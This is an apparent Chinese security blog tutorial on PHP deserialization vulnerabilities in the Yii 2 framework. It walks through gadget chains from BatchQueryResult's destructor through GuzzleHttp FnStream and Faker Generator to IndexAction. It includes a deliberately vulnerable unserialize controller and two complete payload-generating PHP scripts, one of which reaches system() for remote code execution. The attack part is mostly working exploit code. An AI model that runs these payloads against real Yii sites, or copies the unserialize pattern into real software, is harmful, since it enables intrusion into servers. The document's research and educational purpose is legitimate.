YII框架反序列化
https://www.extrader.top/posts/c79847ee
https://www.anquanke.com/post/id/254429
https://blog.csdn.net/unexpectedthing/article/details/123829375
1.YII框架学习
https://github.com/yiisoft/yii2
配置
phpstudy php7.4.3 Apache Yii-2.0.37
url访问
1/basic/controllers/TestController.php文件下 public function actionTest($data){ //index.php?r=test/test&data=123 return $data; //漏洞触发口 // return unserialize(base64_decode($data)); } http://127.0.0.1/index.php?r=test/test&data=123456
2.yii反序列化漏洞分析
直链
1.搜索销毁方法 __destruct() 找到 1/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php文件下 public function __destruct() { // make sure cursor is closed $this->reset(); } 2.追踪reset() public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } 3.寻找close()方法 1/basic/vendor/guzzlehttp/psr7/src/FnStream.php文件下 public function close() { return call_user_func($this->_fn_close); }
<?php namespace GuzzleHttp\Psr7 { class FnStream { var $_fn_close = "phpinfo"; } } namespace yii\db { use GuzzleHttp\Psr7\FnStream; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new FnStream(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
代码执行成功
复杂链
接上回 1.搜索销毁方法 __destruct() 找到 1/basic/vendor/yiisoft/yii2/db/BatchQueryResult.php文件下 public function __destruct() { // make sure cursor is closed $this->reset(); } 追踪reset() public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } 2.这里调用对象close方法,于是产生可以利用call方法的bug 搜索__call 1/basic/vendor/fzaninotto/faker/src/Faker/Generator.php文件下 public function __call($method, $attributes) { return $this->format($method, $attributes); } 进而查询format public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } # 发现该函数已经被有所过滤,于是只能通过该方法去调用其他方法 3.反查 搜call_user_func执行关键字 1/basic/vendor/yiisoft/yii2/rest/IndexAction.php或者1/basic/vendor/yiisoft/yii2/rest/CreateAction.php, public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); } 4.于是 call_user_func_array(ViewAction.run, $arguments); 即可进行rce
# 构造payload namespace yii\rest{ class IndexAction{ public $checkAccess = 'system'; public $id = 'calc'; } } namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } } namespace yii\db { use Faker\Generator; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new Generator(); } } } namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); }
鸣金收工
3.小迪代码审计漏洞复现
通达OA-Yii反序列化结合
https://xz.aliyun.com/t/12855
https://forum.butian.net/index.php/share/2415
攻防演练审计和0day漏洞挖掘
https://mp.weixin.qq.com/s/L5uklnBuolfqEg-bR4V0rQ
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)